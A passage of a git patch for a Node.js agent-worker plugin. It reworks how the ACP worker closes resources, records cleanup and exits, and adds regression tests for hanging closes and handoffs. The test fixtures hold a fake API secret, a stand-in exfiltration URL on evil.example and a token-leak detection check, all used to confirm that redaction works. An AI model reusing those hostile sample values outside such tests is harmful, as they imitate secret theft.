cancel); }, + ], + }).then((evidence) => { + stopDeadline = undefined; + if (child) termination ??= Promise.resolve(true); + return evidence; + }); + return closePromise; + }; try { if (signal?.aborted) fail('cancelled', 'CLI fallback was cancelled before startup.'); rejectFallbackStart((await readTask(root, task.id)).task); @@ -687,8 +970,8 @@ export async function runCliFallback({ root, task, prompt, signal } = {}) { } const compact = { type: 'text_delta', text: result ?? 'CLI fallback completed.' }; await appendTaskEvent(root, task.id, { type: 'provider', event: compact }); - await appendTaskEvent(root, task.id, { type: 'terminal', status: 'completed' }); - const terminal = await updateTask(root, task.id, { + const closeEvidence = await closeOnce(); + const terminal = await persistWorkerTerminal(root, task.id, { status: 'completed', result, ...Object.fromEntries(Object.entries(bounded).filter(([key]) => key.startsWith('result_'))), @@ -696,8 +979,7 @@ export async function runCliFallback({ root, task, prompt, signal } = {}) { provider_process_group: null, provider_process_start_ticks: null, fallback_safe: false, - finished_at: new Date().toISOString(), - }); + }, closeEvidence, { wtb_handoff: 'not_applicable' }); return attachLocalProviderResultSink( root, terminal, collectCliProviderOutputV1(stdout), stdoutTruncated, ); @@ -706,21 +988,17 @@ export async function runCliFallback({ root, task, prompt, signal } = {}) { const terminalStatus = signal?.aborted || error?.code === 'cancelled' ? 'cancelled' : error?.code === 'timeout' || timedOut ? 'timeout' : 'failed'; - await appendTaskEvent(root, task.id, { type: 'terminal', status: terminalStatus, error: failure }).catch(() => {}); - await updateTask(root, task.id, { + const closeEvidence = await closeOnce(); + await persistWorkerTerminal(root, task.id, { status: terminalStatus, error: failure, provider_process_group: null, provider_process_start_ticks: null, fallback_safe: false, - finished_at: new Date().toISOString(), - }).catch(() => {}); + }, closeEvidence, { wtb_handoff: 'not_applicable' }).catch(() => {}); throw error; } finally { - stopDeadline?.(); - clearTimeout(timer); - if (cancel) signal?.removeEventListener('abort', cancel); - if (child) await (termination ??= requestChildTreeTermination(child)); + await closeOnce(); await rm(promptFile, { force: true }); } } @@ -766,6 +1044,22 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s let timedOut = false; let cancel; let dispatchUncertain = false; + let closePromise; + const closeOnce = () => { + closePromise ??= closeRetainedAcpResources({ + child, + stopDeadline, + extraClosers: [ + () => { clearTimeout(timer); }, + () => { if (cancel) signal?.removeEventListener('abort', cancel); }, + ], + }).then((evidence) => { + stopDeadline = undefined; + if (child) termination ??= Promise.resolve(true); + return evidence; + }); + return closePromise; + }; try { if (signal?.aborted) fail('cancelled', 'DSH ACP task was cancelled before startup.'); await mkdir(acpxHome, { recursive: true, mode: 0o700 }); @@ -842,8 +1136,8 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s const output = bounded.value; const compact = { type: 'text_delta', text: typeof output === 'string' ? output : 'DSH ACP task completed.' }; await appendTaskEvent(root, task.id, { type: 'provider', event: compact }); - await appendTaskEvent(root, task.id, { type: 'terminal', status: 'completed', stop_reason: 'end_turn' }); - const terminal = await updateTask(root, task.id, { + const closeEvidence = await closeOnce(); + const terminal = await persistWorkerTerminal(root, task.id, { status: 'completed', error: null, stop_reason: 'end_turn', @@ -853,8 +1147,7 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s provider_process_group: null, provider_process_start_ticks: null, acp_session_id: Object.values(flow.sessionBindings ?? {})[0]?.acpSessionId ?? null, - finished_at: new Date().toISOString(), - }); + }, closeEvidence, { wtb_handoff: 'not_applicable' }); return attachLocalProviderResultSink(root, terminal, outputValue, false); } catch (error) { if (!dispatchUncertain && !authenticationFailure(error)) { @@ -864,21 +1157,17 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s const current = (await readTask(root, task.id)).task; const status = signal?.aborted ? 'cancelled' : (error?.code === 'timeout' || timedOut ? 'timeout' : 'failed'); const failure = publicError(error, prompt); - await appendTaskEvent(root, task.id, { type: 'terminal', status, error: failure }).catch(() => {}); - await updateTask(root, task.id, { + const closeEvidence = await closeOnce(); + await persistWorkerTerminal(root, task.id, { status, error: failure, provider_process_group: null, provider_process_start_ticks: null, fallback_safe: fallbackStartAllowed(current) && cliFallbackMatchesTask(current) && cliFallbackMatchesTask(task), - finished_at: new Date().toISOString(), - }).catch(() => {}); + }, closeEvidence, { wtb_handoff: 'not_applicable' }).catch(() => {}); throw error; } finally { - stopDeadline?.(); - clearTimeout(timer); - if (cancel) signal?.removeEventListener('abort', cancel); - if (child) await (termination ??= requestChildTreeTermination(child)); + await closeOnce(); await removeAcpxTaskHome(root, task.id, acpxHome); await rm(inputFile, { force: true }); } @@ -929,13 +1218,28 @@ export async function runAcpTask({ root, taskId, signal } = {}) { const abort = () => controller.abort(signal?.reason ?? new AcpWorkerError(timedOut ? 'timeout' : 'cancelled', timedOut ? 'ACP task exceeded its recorded deadline.' : 'Task cancelled.')); if (signal?.aborted) abort(); else signal?.addEventListener('abort', abort, { once: true }); - const stopDeadline = startDeadlineWatch(root, taskId, () => { + let stopDeadline = startDeadlineWatch(root, taskId, () => { timedOut = true; abort(); }); let turn; let handle; + let closePromise; + const closeOnce = () => { + closePromise ??= closeRetainedAcpResources({ + runtime, + handle, + stopDeadline, + extraClosers: [ + () => signal?.removeEventListener('abort', abort), + ], + }).then((evidence) => { + stopDeadline = undefined; + return evidence; + }); + return closePromise; + }; try { await updateTask(root, taskId, { status: 'starting', transport: 'acp', started_at: new Date().toISOString() }); handle = await runtime.ensureSession({ @@ -985,16 +1289,15 @@ export async function runAcpTask({ root, taskId, signal } = {}) { const result = await turn.result; const status = result.status === 'completed' ? 'completed' : result.status; const bounded = output.finish(); - const terminal = await updateTask(root, taskId, { + const closeEvidence = await closeOnce(); + const terminal = await persistWorkerTerminal(root, taskId, { status, stop_reason: result.stopReason ?? null, last_event: lastEvent, result: bounded.value, ...Object.fromEntries(Object.entries(bounded).filter(([key]) => key.startsWith('result_'))), ...(result.status === 'failed' ? { error: publicError(result.error, prompt), fallback_safe: false } : {}), - finished_at: new Date().toISOString(), - }); - await appendTaskEvent(root, taskId, { type: 'terminal', status, stop_reason: result.stopReason ?? null }); + }, closeEvidence, { wtb_handoff: 'not_applicable' }); const snapshot = complete.snapshot(); return attachLocalProviderResultSink( root, terminal, snapshot.source, false, snapshot.overflow === true, @@ -1009,70 +1312,82 @@ export async function runAcpTask({ root, taskId, signal } = {}) { const status = timedOut || error?.code === 'timeout' ? 'timeout' : controller.signal.aborted ? 'cancelled' : 'failed'; - await updateTask(root, taskId, { + const closeEvidence = await closeOnce(); + await persistWorkerTerminal(root, taskId, { status, error: failure, - finished_at: new Date().toISOString(), fallback_safe: fallbackStartAllowed(current), - }).catch(() => {}); - await appendTaskEvent(root, taskId, { type: 'terminal', status, error: failure }).catch(() => {}); + }, closeEvidence, { wtb_handoff: 'not_applicable' }).catch(() => {}); throw error; } finally { - stopDeadline?.(); - signal?.removeEventListener('abort', abort); - // This closes the retained stdio client but does not send session/close or - // discard the persisted ACP identity. A later worker can resume it. - if (handle) await runtime.close({ handle, reason: 'worker_exit' }).catch(() => {}); - await secureAcpxSessions(); + await closeOnce(); } } -async function runCli(argv) { +export async function runAcpWorkerCli(argv, { + env = process.env, + cwd = process.cwd(), + readFileImpl = readFile, + runAcpTaskImpl = runAcpTask, + handoffImpl = boundedWtbHandoff, + runFileImpl = runFile, + stdoutWrite = (chunk) => process.stdout.write(chunk), + stderrWrite = (chunk) => process.stderr.write(chunk), + exit = (code) => { process.exit(code); }, + exitMs = WORKER_EXIT_MS, +} = {}) { if (argv.length !== 2 || argv[0] !== '--request') { - process.stderr.write('Usage: node acp-worker.mjs --request /absolute/path/to/request.json\n'); - process.exitCode = 2; + stderrWrite('Usage: node acp-worker.mjs --request /absolute/path/to/request.json\n'); + requestWorkerExit(2, { exit, exitMs }); return; } const requestPath = argv[1]; if (!path.isAbsolute(requestPath)) fail('invalid_request', 'Request path must be absolute.'); - const request = JSON.parse(await readFile(requestPath, 'utf8')); + const request = JSON.parse(await readFileImpl(requestPath, 'utf8')); const controller = new AbortController(); const cancel = () => controller.abort(new AcpWorkerError('cancelled', 'Worker signal received.')); process.once('SIGINT', cancel); process.once('SIGTERM', cancel); + + const finish = async (task, code) => { + const handoff = await handoffImpl({ + root: request.root, + taskId: request.task_id, + env, + cwd, + runFileImpl, + }).catch(() => ({ attempted: false, wtb_handoff: 'not_applicable', task })); + const recorded = handoff.task ?? task ?? (await readTask(request.root, request.task_id)).task; + emitWorkerTerminalStdout(recorded, stdoutWrite); + requestWorkerExit(code, { exit, exitMs }); + return recorded; + }; + try { await awaitSupervisorRegistration(request.root, request.task_id, controller.signal); await removeStalePromptTransports(request.root, request.task_id); - if (process.env.WORKTREE_BOOTSTRAP_TASK) { - await runFile('worktree-bootstrap', [ + if (env.WORKTREE_BOOTSTRAP_TASK) { + await runFileImpl('worktree-bootstrap', [ 'verify', - process.env.WORKTREE_BOOTSTRAP_TASK, + env.WORKTREE_BOOTSTRAP_TASK, '--repo', - process.cwd(), + cwd, '--require-writer', ]); } - let task = await runAcpTask({ root: request.root, taskId: request.task_id, signal: controller.signal }); - if (process.env.WORKTREE_BOOTSTRAP_TASK) { - try { - const { stdout } = await runFile('worktree-bootstrap', [ - 'handoff', - process.env.WORKTREE_BOOTSTRAP_TASK, - '--repo', - process.cwd(), - '--format', - 'json', - ], { encoding: 'utf8', maxBuffer: 1024 * 1024 }); - const handoff = JSON.parse(stdout); - task = await updateTask(request.root, request.task_id, { handoff }); - } catch (error) { - await appendTaskEvent(request.root, request.task_id, { - type: 'cleanup_warning', - code: error?.code ?? 'handoff_failed', - }).catch(() => {}); - } + const task = await runAcpTaskImpl({ root: request.root, taskId: request.task_id, signal: controller.signal }); + await finish(task, 0); + } catch (error) { + const latest = await readTask(request.root, request.task_id).catch(() => null); + if (latest?.task?.cleanup?.status === 'pending') { + await finish(latest.task, 1).catch(() => { + requestWorkerExit(1, { exit, exitMs }); + }); + return; } - process.stdout.write(`${JSON.stringify({ task_id: task.id, status: task.status })}\n`); + const failure = publicError(error); + stderrWrite(`acp-worker: ${failure.code}: ${failure.message}\n`); + requestWorkerExit(1, { exit, exitMs }); } finally { process.off('SIGINT', cancel); process.off('SIGTERM', cancel); @@ -1080,9 +1395,9 @@ async function runCli(argv) { } if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { - runCli(process.argv.slice(2)).catch((error) => { + runAcpWorkerCli(process.argv.slice(2)).catch((error) => { const failure = publicError(error); process.stderr.write(`acp-worker: ${failure.code}: ${failure.message}\n`); - process.exitCode = 1; + requestWorkerExit(1); }); } From f2afa009295ad4a1753309af5b5a9563ad297ee1 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 22:36:13 +0000 Subject: [PATCH 127/151] test(worker): reproduce live-cgroup incidents and close timeouts Pin both terminal-receipt/live-cgroup incidents at the worker seam and add adversarial hanging close, hanging handoff, hostile error, timeout, cancel, transport-lost, and no-replay regressions. --- .../r1-terminal-worker-exit-fixtures.mjs | 64 ++++ ...-terminal-worker-exit-adversarial.test.mjs | 290 ++++++++++++++++++ .../test/r1-terminal-worker-exit.test.mjs | 200 ++++++++++++ .../test/v3-acp-worker.test.mjs | 8 +- 4 files changed, 561 insertions(+), 1 deletion(-) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-terminal-worker-exit-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-terminal-worker-exit-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-terminal-worker-exit.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-terminal-worker-exit-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-terminal-worker-exit-fixtures.mjs new file mode 100644 index 0000000..d9a4812 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-terminal-worker-exit-fixtures.mjs @@ -0,0 +1,64 @@ +// Neutral fixtures for the worker-exit seam. Construction only: no Git, +// systemd, cgroup, or WTB lock mutation. Incident snapshots reconstruct the +// two live-cgroup terminal-receipt occurrences at the worker seam. + +export const HOSTILE_SECRET = 'sk-secret-value-do-not-leak'; +export const HOSTILE_PATH = '/tmp/secret-repo-do-not-leak'; +export const HOSTILE_URL = 'https://evil.example/steal?token=secret'; +export const CONTENT_FREE = /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u; + +export const INCIDENT_1 = Object.freeze({ + occurrence: 1, + task_id: 'r1-w25b-rtruth-server-tasks-classifier-repair-grok-20260825', + stored_status: 'completed', + public_state: 'succeeded', + finished_at: '2026-08-25T20:32:28.074Z', + worker_still_alive: true, + wtb_lock_held: true, + classification: 'terminal_receipt_with_live_worker', +}); + +export const INCIDENT_2 = Object.freeze({ + occurrence: 2, + task_id: 'r1-w25b-rtruth-task-store-filter-final-closure-grok-20260825', + stored_status: 'completed', + finished_at: '2026-08-25T21:16:29.745Z', + worker_still_alive: true, + wtb_lock_held: true, + classification: 'terminal_receipt_with_live_worker', +}); + +export function incidentReceipt(incident, extra = {}) { + return { + id: incident.task_id, + status: incident.stored_status, + finished_at: incident.finished_at, + ...extra, + }; +} + +export function hangingPromise() { + let resolve; + const promise = new Promise((next) => { resolve = next; }); + return { promise, resolve }; +} + +export function hangingRuntime(closeImpl) { + const calls = []; + return { + calls, + close(input) { + calls.push(input); + return closeImpl(input); + }, + }; +} + +export function contentFreeCleanup(value) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + return !text.includes(HOSTILE_SECRET) + && !text.includes(HOSTILE_PATH) + && !text.includes(HOSTILE_URL) + && !text.includes('sk-') + && !/Bearer\s+[A-Za-z0-9._~+/=-]+/u.test(text); +} diff --git a/plugins/codex-co-engineer/test/r1-terminal-worker-exit-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-terminal-worker-exit-adversarial.test.mjs new file mode 100644 index 0000000..08701ee --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-terminal-worker-exit-adversarial.test.mjs @@ -0,0 +1,290 @@ +// Adversarial worker-exit coverage: hanging close/handoff, hostile close +// errors, timeout/cancel/transport, and no replay after resource-close failure. + +import assert from 'node:assert/strict'; +import { mkdtemp, mkdir, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + WORKER_CLEANUP_CODES, + boundedWtbHandoff, + closeRetainedAcpResources, + emitWorkerTerminalStdout, + persistWorkerTerminal, + requestWorkerExit, + runAcpTask, + runAcpWorkerCli, + workerSeamIncident, +} from '../mcp/v3/acp-worker.mjs'; +import { createTask, readTask, updateTask, writeRuntimeRecord } from '../mcp/v3/task-store.mjs'; +import { + CONTENT_FREE, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_URL, + contentFreeCleanup, + hangingPromise, + hangingRuntime, + incidentReceipt, + INCIDENT_1, +} from './fixtures/r1-terminal-worker-exit-fixtures.mjs'; + +const HERE = path.dirname(fileURLToPath(import.meta.url)); +const FAKE_AGENT = path.join(HERE, 'acpx-fake-agent.mjs'); + +async function fixture(extra = {}) { + const root = await mkdtemp(path.join(tmpdir(), 'co-engineer-worker-exit-adv-')); + const cwd = path.join(root, 'worktree'); + await mkdir(cwd); + const taskId = extra.id ?? 'task-1'; + await createTask({ + root, + prompt: extra.prompt ?? 'review this repository', + record: { + id: taskId, + status: extra.status ?? 'accepted', + provider: extra.provider ?? 'grok', + cwd, + agent_argv: extra.agentArgv ?? [process.execPath, FAKE_AGENT, '--mode', extra.mode ?? 'normal'], + ...(extra.cliArgv ? { cli_argv: extra.cliArgv } : {}), + timeout_ms: extra.timeoutMs ?? 5_000, + }, + }); + return { root, cwd, taskId }; +} + +test('hanging ACP close times out at the bound and still records cleanup', async () => { + const value = await fixture({ id: 'hanging-close' }); + const hung = hangingPromise(); + const runtime = hangingRuntime(() => hung.promise); + const started = Date.now(); + const evidence = await closeRetainedAcpResources({ + runtime, + handle: { sessionKey: 'hanging-close' }, + timeoutMs: 40, + }); + const elapsed = Date.now() - started; + hung.resolve(); + assert.equal(evidence.acp_close, 'timeout'); + assert.equal(evidence.codes[0], WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + assert.ok(elapsed >= 40); + assert.ok(elapsed < 400); + const terminal = await persistWorkerTerminal(value.root, value.taskId, { + status: 'completed', + fallback_safe: false, + }, evidence, { wtb_handoff: 'not_applicable' }); + assert.equal(terminal.cleanup.code, WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + assert.equal(terminal.fallback_safe, false); + assert.equal(workerSeamIncident(terminal), false); +}); + +test('throwing ACP close is failed, content-free, and never enables replay', async () => { + const value = await fixture({ id: 'throwing-close' }); + const runtime = hangingRuntime(async () => { + throw new Error(`provider failed for ${HOSTILE_SECRET} at ${HOSTILE_PATH} ${HOSTILE_URL}`); + }); + const evidence = await closeRetainedAcpResources({ + runtime, + handle: { sessionKey: 'throwing-close' }, + }); + assert.equal(evidence.acp_close, 'failed'); + assert.equal(evidence.codes[0], WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_FAILED); + const terminal = await persistWorkerTerminal(value.root, value.taskId, { + status: 'failed', + error: { code: 'acp_worker_failed', message: 'ACP worker failed.' }, + fallback_safe: false, + }, evidence, { wtb_handoff: 'not_applicable' }); + assert.equal(terminal.fallback_safe, false); + assert.equal(contentFreeCleanup(terminal.cleanup), true); + assert.match(terminal.cleanup.code, CONTENT_FREE); + assert.equal(JSON.stringify(terminal.cleanup).includes(HOSTILE_SECRET), false); + assert.equal(JSON.stringify(terminal.cleanup).includes(HOSTILE_PATH), false); +}); + +test('hanging WTB handoff records lock_release_unproven and still allows stdout', async () => { + const value = await fixture({ id: 'hanging-handoff' }); + await persistWorkerTerminal(value.root, value.taskId, { status: 'completed' }, { + acp_close: 'closed', + codes: [], + }, { wtb_handoff: 'not_applicable' }); + const hung = hangingPromise(); + const started = Date.now(); + const result = await boundedWtbHandoff({ + root: value.root, + taskId: value.taskId, + env: { WORKTREE_BOOTSTRAP_TASK: 'hanging-handoff' }, + cwd: value.cwd, + timeoutMs: 40, + runFileImpl: () => hung.promise, + }); + const elapsed = Date.now() - started; + hung.resolve({ stdout: '{}' }); + assert.equal(result.wtb_handoff, 'timeout'); + assert.equal(result.code, WORKER_CLEANUP_CODES.LOCK_RELEASE_UNPROVEN); + assert.ok(elapsed >= 40); + assert.ok(elapsed < 400); + const writes = []; + emitWorkerTerminalStdout(result.task, (chunk) => writes.push(chunk)); + assert.equal(JSON.parse(writes[0]).status, 'completed'); +}); + +test('failed WTB handoff is cleanup_failed and content-free', async () => { + const value = await fixture({ id: 'failed-handoff' }); + await persistWorkerTerminal(value.root, value.taskId, { status: 'completed' }, { + acp_close: 'closed', + codes: [], + }, { wtb_handoff: 'not_applicable' }); + const result = await boundedWtbHandoff({ + root: value.root, + taskId: value.taskId, + env: { WORKTREE_BOOTSTRAP_TASK: 'failed-handoff' }, + cwd: value.cwd, + runFileImpl: async () => { + throw new Error(`handoff leaked ${HOSTILE_SECRET} ${HOSTILE_PATH}`); + }, + }); + assert.equal(result.wtb_handoff, 'failed'); + assert.equal(result.code, WORKER_CLEANUP_CODES.CLEANUP_FAILED); + assert.equal(contentFreeCleanup(result.task.cleanup), true); + assert.equal(JSON.stringify(result.task.cleanup).includes(HOSTILE_SECRET), false); +}); + +test('CLI timeout of resource close still emits stdout and exits without replay', async () => { + const value = await fixture({ id: 'cli-close-timeout' }); + await writeRuntimeRecord(value.root, value.taskId, { pid: process.pid }); + const requestPath = path.join(value.root, 'tasks', value.taskId, 'worker-request.json'); + await writeFile(requestPath, `${JSON.stringify({ root: value.root, task_id: value.taskId })}\n`); + const writes = []; + const exits = []; + await runAcpWorkerCli(['--request', requestPath], { + runAcpTaskImpl: async () => persistWorkerTerminal(value.root, value.taskId, { + status: 'completed', + fallback_safe: false, + }, { + acp_close: 'timeout', + codes: [WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT], + }, { wtb_handoff: 'not_applicable' }), + handoffImpl: async () => { + const current = (await readTask(value.root, value.taskId)).task; + assert.equal(current.fallback_safe, false); + assert.equal(current.cleanup.code, WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + return { attempted: false, wtb_handoff: 'not_applicable', task: current }; + }, + stdoutWrite: (chunk) => writes.push(chunk), + stderrWrite() {}, + exit: (code) => exits.push(code), + }); + assert.equal(exits[0], 0); + assert.equal(JSON.parse(writes[0]).task_id, value.taskId); + assert.equal((await readTask(value.root, value.taskId)).task.fallback_safe, false); +}); + +test('incident-shaped CLI success without cleanup is denied stdout', async () => { + const value = await fixture({ id: 'incident-cli' }); + await writeRuntimeRecord(value.root, value.taskId, { pid: process.pid }); + const requestPath = path.join(value.root, 'tasks', value.taskId, 'worker-request.json'); + await writeFile(requestPath, `${JSON.stringify({ root: value.root, task_id: value.taskId })}\n`); + const writes = []; + const exits = []; + await runAcpWorkerCli(['--request', requestPath], { + runAcpTaskImpl: async () => incidentReceipt(INCIDENT_1, { id: value.taskId }), + handoffImpl: async () => ({ + attempted: false, + wtb_handoff: 'not_applicable', + task: incidentReceipt(INCIDENT_1, { id: value.taskId }), + }), + stdoutWrite: (chunk) => writes.push(chunk), + stderrWrite() {}, + exit: (code) => exits.push(code), + }); + assert.equal(writes.length, 0); + assert.equal(exits[0], 1); +}); + +test('timeout, cancel, and transport_lost keep their semantics and do not replay', async () => { + const lost = await fixture({ id: 'transport-lost-exit' }); + await updateTask(lost.root, lost.taskId, { status: 'transport_lost' }); + await assert.rejects( + runAcpTask({ root: lost.root, taskId: lost.taskId }), + (error) => error.code === 'transport_lost', + ); + assert.equal((await readTask(lost.root, lost.taskId)).task.status, 'transport_lost'); + + const cancelled = await fixture({ + id: 'pre-aborted-exit', + cliArgv: [process.execPath, '-e', 'process.stdout.write("SHOULD_NOT_RUN")'], + }); + const controller = new AbortController(); + controller.abort(); + const { runCliFallback } = await import('../mcp/v3/acp-worker.mjs'); + await assert.rejects( + runCliFallback({ + root: cancelled.root, + task: (await readTask(cancelled.root, cancelled.taskId)).task, + prompt: 'private fallback prompt', + signal: controller.signal, + }), + (error) => error.code === 'cancelled', + ); + const cancelledTask = (await readTask(cancelled.root, cancelled.taskId)).task; + assert.equal(cancelledTask.status, 'cancelled'); + assert.equal(cancelledTask.cleanup.status, 'pending'); + assert.equal(cancelledTask.fallback_safe, false); + + const timed = await fixture({ id: 'timeout-exit' }); + const timedTask = await persistWorkerTerminal(timed.root, timed.taskId, { + status: 'timeout', + error: { code: 'timeout', message: 'ACP task exceeded its recorded deadline.' }, + fallback_safe: false, + }, { acp_close: 'closed', codes: [] }, { wtb_handoff: 'not_applicable' }); + assert.equal(timedTask.status, 'timeout'); + assert.equal(timedTask.cleanup.status, 'pending'); + assert.equal(timedTask.fallback_safe, false); + assert.equal(workerSeamIncident(timedTask), false); +}); + +test('close timeout does not redispatch a provider prompt', async () => { + const value = await fixture({ + id: 'no-replay-after-close', + cliArgv: [process.execPath, '-e', 'process.stdout.write("SHOULD_NOT_RUN")'], + }); + const hung = hangingPromise(); + const evidence = await closeRetainedAcpResources({ + runtime: hangingRuntime(() => hung.promise), + handle: { sessionKey: 'no-replay' }, + timeoutMs: 30, + }); + hung.resolve(); + const terminal = await persistWorkerTerminal(value.root, value.taskId, { + status: 'completed', + prompt_dispatched: true, + fallback_safe: false, + }, evidence, { wtb_handoff: 'not_applicable' }); + assert.equal(terminal.prompt_dispatched, true); + assert.equal(terminal.fallback_safe, false); + assert.notEqual(terminal.result, 'SHOULD_NOT_RUN'); +}); + +test('blocked worker exit still fires the 1s watchdog', async () => { + const exits = []; + let blocked = true; + requestWorkerExit(3, { + exitMs: 20, + exit: (code) => { + if (blocked) { + blocked = false; + return; + } + exits.push(code); + }, + setTimeoutFn: (fn, ms) => { + assert.equal(ms, 20); + fn(); + return { unref() {} }; + }, + }); + assert.deepEqual(exits, [3]); +}); diff --git a/plugins/codex-co-engineer/test/r1-terminal-worker-exit.test.mjs b/plugins/codex-co-engineer/test/r1-terminal-worker-exit.test.mjs new file mode 100644 index 0000000..098d498 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-terminal-worker-exit.test.mjs @@ -0,0 +1,200 @@ +// Worker-exit seam: close retained ACP resources, bound WTB handoff, emit +// terminal stdout only after close evidence, then exit. Reconstructs both +// live-cgroup terminal-receipt incidents without touching systemd or WTB. + +import assert from 'node:assert/strict'; +import { mkdtemp, mkdir, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + ACP_RESOURCE_CLOSE_MS, + WTB_HANDOFF_MS, + WORKER_EXIT_MS, + WORKER_CLEANUP_CODES, + boundedWtbHandoff, + closeRetainedAcpResources, + composeWorkerCleanup, + emitWorkerTerminalStdout, + persistWorkerTerminal, + requestWorkerExit, + runAcpTask, + runAcpWorkerCli, + workerSeamIncident, +} from '../mcp/v3/acp-worker.mjs'; +import { createTask, readTask, writeRuntimeRecord } from '../mcp/v3/task-store.mjs'; +import { + INCIDENT_1, + INCIDENT_2, + hangingPromise, + hangingRuntime, + incidentReceipt, +} from './fixtures/r1-terminal-worker-exit-fixtures.mjs'; + +const HERE = path.dirname(fileURLToPath(import.meta.url)); +const FAKE_AGENT = path.join(HERE, 'acpx-fake-agent.mjs'); + +async function fixture(extra = {}) { + const root = await mkdtemp(path.join(tmpdir(), 'co-engineer-worker-exit-')); + const cwd = path.join(root, 'worktree'); + await mkdir(cwd); + const taskId = extra.id ?? 'task-1'; + await createTask({ + root, + prompt: extra.prompt ?? 'review this repository', + record: { + id: taskId, + status: extra.status ?? 'accepted', + provider: extra.provider ?? 'grok', + cwd, + agent_argv: extra.agentArgv ?? [process.execPath, FAKE_AGENT, '--mode', extra.mode ?? 'normal'], + timeout_ms: extra.timeoutMs ?? 5_000, + }, + }); + return { root, cwd, taskId }; +} + +test('bounds are the frozen Wave26A worker-exit timeouts', () => { + assert.equal(ACP_RESOURCE_CLOSE_MS, 3_000); + assert.equal(WTB_HANDOFF_MS, 5_000); + assert.equal(WORKER_EXIT_MS, 1_000); +}); + +test('incident 1 and 2 receipts are live-worker hazards at the worker seam', () => { + const first = incidentReceipt(INCIDENT_1); + const second = incidentReceipt(INCIDENT_2); + assert.equal(workerSeamIncident(first), true); + assert.equal(workerSeamIncident(second), true); + assert.equal(first.status, 'completed'); + assert.equal(second.status, 'completed'); + assert.ok(first.finished_at); + assert.ok(second.finished_at); +}); + +test('incident receipts cannot emit terminal stdout without close evidence', () => { + const writes = []; + for (const incident of [INCIDENT_1, INCIDENT_2]) { + assert.throws( + () => emitWorkerTerminalStdout(incidentReceipt(incident), (chunk) => writes.push(chunk)), + (error) => error.code === WORKER_CLEANUP_CODES.CLEANUP_FAILED, + ); + } + assert.equal(writes.length, 0); +}); + +test('close then persist then stdout is the required worker-seam order', async () => { + const value = await fixture({ id: 'order-1' }); + const closeCalls = []; + const runtime = hangingRuntime(async (input) => { closeCalls.push(input); }); + const closeEvidence = await closeRetainedAcpResources({ + runtime, + handle: { sessionKey: 'order-1' }, + }); + assert.equal(closeEvidence.acp_close, 'closed'); + assert.equal(closeCalls[0].discardPersistentState, false); + assert.equal(closeCalls[0].reason, 'worker_exit'); + const terminal = await persistWorkerTerminal(value.root, value.taskId, { + status: 'completed', + result: 'ok', + }, closeEvidence, { wtb_handoff: 'not_applicable' }); + assert.equal(workerSeamIncident(terminal), false); + assert.equal(terminal.cleanup.status, 'pending'); + assert.equal(terminal.cleanup.acp_close, 'closed'); + const writes = []; + emitWorkerTerminalStdout(terminal, (chunk) => writes.push(chunk)); + assert.deepEqual(JSON.parse(writes[0]), { task_id: value.taskId, status: 'completed' }); +}); + +test('ACP success records cleanup.pending after retained-resource close', async () => { + const value = await fixture({ id: 'acp-success-cleanup' }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'completed'); + assert.equal(terminal.cleanup.status, 'pending'); + assert.equal(terminal.cleanup.acp_close, 'closed'); + assert.equal(terminal.cleanup.wtb_handoff, 'not_applicable'); + assert.equal(workerSeamIncident(terminal), false); + assert.equal(terminal.prompt_dispatched, true); + assert.equal(terminal.fallback_safe, false); +}); + +test('provider failure still closes, stays non-replayable, and records cleanup', async () => { + const value = await fixture({ prompt: 'provider-failure', id: 'acp-fail-cleanup' }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'failed'); + assert.equal(terminal.cleanup.status, 'pending'); + assert.equal(terminal.prompt_dispatched, true); + assert.equal(terminal.fallback_safe, false); + assert.equal(workerSeamIncident(terminal), false); +}); + +test('bounded WTB handoff records the payload while the worker still owns the task', async () => { + const value = await fixture({ id: 'wtb-recorded' }); + await persistWorkerTerminal(value.root, value.taskId, { status: 'completed' }, { + acp_close: 'closed', + codes: [], + }, { wtb_handoff: 'not_applicable' }); + const handoff = { branch: 'codex/example', head: '9e4d3cbdb1175f92da9979a7125e29e43b9aa699' }; + const result = await boundedWtbHandoff({ + root: value.root, + taskId: value.taskId, + env: { WORKTREE_BOOTSTRAP_TASK: 'example-task' }, + cwd: value.cwd, + runFileImpl: async () => ({ stdout: JSON.stringify(handoff) }), + }); + assert.equal(result.wtb_handoff, 'recorded'); + assert.equal(result.task.handoff.head, handoff.head); + assert.equal(result.task.cleanup.wtb_handoff, 'recorded'); + assert.equal(result.task.cleanup.status, 'pending'); +}); + +test('CLI emits stdout only after close and handoff evidence, then exits', async () => { + const value = await fixture({ id: 'cli-stdout' }); + await writeRuntimeRecord(value.root, value.taskId, { pid: process.pid }); + const requestPath = 